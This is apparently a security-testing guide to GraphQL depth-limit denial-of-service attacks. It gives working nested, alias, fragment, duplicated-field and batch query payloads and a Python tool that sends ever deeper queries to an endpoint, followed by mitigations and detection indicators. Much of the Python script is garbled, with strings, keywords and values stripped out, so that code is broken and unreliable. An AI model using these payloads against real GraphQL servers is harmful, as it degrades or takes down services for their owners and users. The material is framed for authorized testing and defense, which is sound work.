Performing GraphQL Depth Limit Attack
Overview
GraphQL depth limit attacks exploit the recursive nature of GraphQL schemas to craft deeply nested queries that consume excessive server resources, leading to denial of service. Unlike REST APIs with fixed endpoints, GraphQL allows clients to request arbitrary data structures. When schemas contain circular relationships (e.g., User -> Posts -> Author -> Posts), attackers can create queries that recurse indefinitely, overwhelming the server's CPU, memory, database connections, and network bandwidth.
When to Use
- When conducting security assessments that involve performing graphql depth limit attack
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Target GraphQL API endpoint with introspection enabled or known schema
- GraphQL client tools (GraphiQL, Altair, Insomnia, or curl)
- Python 3.8+ with requests library for automated testing
- Burp Suite or mitmproxy for traffic analysis
- Authorization to perform security testing on the target
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Core Attack Techniques
1. Recursive Depth Attack
When a GraphQL schema has bidirectional relationships, queries can reference them recursively:
query DepthAttack {
users {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
author {
posts {
title
author {
name
}
}
}
}
}
}
}
}
}
}
}
}
}
}
2. Alias-Based Amplification
When batch queries are blocked, aliases can multiply the same field request within a single query:
query AliasAmplification {
a1: user(id: 1) { posts { author { name } } }
a2: user(id: 1) { posts { author { name } } }
a3: user(id: 1) { posts { author { name } } }
a4: user(id: 1) { posts { author { name } } }
a5: user(id: posts author name
user posts author name
user posts author name
user posts author name
user posts author name
user posts author name
3. Fragment Spread Attack
Fragments can be used to construct complex, deeply nested queries more efficiently:
fragment UserFields on User {
name
email
posts {
title
comments {
body
author {
...NestedUser
}
}
}
}
fragment NestedUser on User {
name
posts {
title
author {
name
posts {
title
author {
name
}
}
}
}
}
query FragmentAttack {
users {
...UserFields
}
}
4. Field Duplication Attack
Repeating the same field multiple times within a selection set increases processing:
query FieldDuplication {
user(id: 1) {
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
posts { title }
}
}
5. Batch Query Attack
Sending multiple queries in a single HTTP request:
[
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"},
{"query": "{ users { posts { author { name } } } }"}
]
Automated Testing Script
"""GraphQL Depth Limit Attack Testing Tool
Tests GraphQL endpoints for depth limiting vulnerabilities
by sending progressively deeper nested queries.
"""
import requests
import time
import json
import sys
from typing import Optional
class GraphQLDepthTester:
def __init__(self, endpoint: str, headers: Optional[dict] = None):
self.endpoint = endpoint
self.headers = headers or {"Content-Type": "application/json"}
self.results = []
def generate_nested_query(self, depth: int, field_a: str = "posts",
field_b: str = "author",
leaf_field: str = "name") -> str:
"""Generate a recursively nested GraphQL query to a specified depth."""
query = "{ users { "
for i in range(depth):
if i % 2 == 0:
query += f"{field_a} {{ "
else:
query +=
query += leaf_field
query += * (depth + )
query +=
query
() -> :
aliases = []
i (count):
aliases.append()
+ .join(aliases) +
() -> :
payload = json.dumps({: query})
start_time = time.time()
:
response = requests.post(
.endpoint,
data=payload,
headers=.headers,
timeout=timeout
)
elapsed = time.time() - start_time
{
: response.status_code,
: (elapsed, ),
: (response.content),
: response.json() response.status_code == ,
: ._extract_error(response),
: response.status_code == response.json()
}
requests.exceptions.Timeout:
elapsed = time.time() - start_time
{
: ,
: (elapsed, ),
: ,
: ,
: ,
:
}
requests.exceptions.ConnectionError:
{
: ,
: ,
: ,
: ,
: ,
:
}
() -> :
:
data = response.json()
data:
data[][].get(, )
(json.JSONDecodeError, IndexError, KeyError):
():
()
()
( * )
depth (, max_depth + ):
query = .generate_nested_query(depth)
result = .send_query(query)
result[] = depth
.results.append(result)
status = result[]
(
)
result[] result[].lower():
()
()
depth
result[] == :
()
depth
()
():
alias_counts :
alias_counts = [, , , , , ]
()
inner =
count alias_counts:
query = .generate_alias_query(count, inner)
result = .send_query(query)
status = result[]
(
)
() -> :
successful = [r r .results r[]]
blocked = [r r .results r[]]
max_successful_depth = ([r[] r successful], default=)
{
: .endpoint,
: (.results),
: (successful),
: (blocked),
: max_successful_depth,
: (blocked) > ,
: max_successful_depth >
max_successful_depth >
}
__name__ == :
endpoint = sys.argv[] (sys.argv) >
tester = GraphQLDepthTester(endpoint)
tester.test_depth_limits(max_depth=)
tester.test_alias_amplification()
report = tester.generate_report()
()
()
()
key, value report.items():
()
Mitigation Strategies
Depth Limiting
const depthLimit = require('graphql-depth-limit');
const server = new ApolloServer({
typeDefs,
resolvers,
validationRules: [depthLimit(5)]
});
Query Complexity Analysis
const { createComplexityRule } = require('graphql-query-complexity');
const complexityRule = createComplexityRule({
maximumComplexity: 1000,
estimators: [
fieldExtensionsEstimator(),
simpleEstimator({ defaultComplexity: 1 })
],
onComplete: (complexity) => {
console.log('Query complexity:', complexity);
}
});
Rate Limiting and Timeout Controls
GRAPHQL_CONFIG = {
"max_depth": 5,
"max_complexity": 1000,
"max_aliases": 10,
"query_timeout_seconds": 10,
"max_batch_size": 5,
"rate_limit_per_minute": 100
}
Detection Indicators
- Unusually deep or complex GraphQL queries in server logs
- Spike in response times correlated with specific query patterns
- High memory or CPU usage on GraphQL server processes
- Repeated requests with incrementally increasing query complexity
- Large response payloads from single query requests
References